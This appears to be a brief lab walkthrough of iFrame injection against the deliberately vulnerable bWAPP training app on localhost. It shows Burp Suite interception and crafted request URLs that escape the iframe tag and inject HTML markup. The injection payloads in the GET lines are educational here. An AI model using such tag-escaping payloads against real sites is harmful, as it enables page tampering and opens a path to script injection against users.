iFrame Injection

Let's intercept the request in Burpsuite.

We can now forward this request to the Repeater in order to make modifications to it.

As we can see the URL is being used to complete the <iframe> tag.

Let's try to escape the tag by using the following request URL:

GET /bWAPP/iframei.php?ParamUrl=robots.txt&ParamHeight=250&ParamWidth=250"></iframe> HTTP/1.1

We can see that the </iframe> tag set by the application now is a lone closing tag. This proves that we have successfully escaped the tag.

We can now perform a regular HTML URL injection.

GET /bWAPP/iframei.php?ParamUrl=robots.txt&ParamHeight=250&ParamWidth=250"></iframe><h1>GetHacked</h1> HTTP/1.1

We can even do the same exploit directly in the browser using the following URL:

http://localhost/bWAPP/iframei.php?ParamUrl=robots.txt&ParamHeight=250&ParamWidth=250"></iframe><h1>GetHacked</h1>

We can see our message <h1> tags.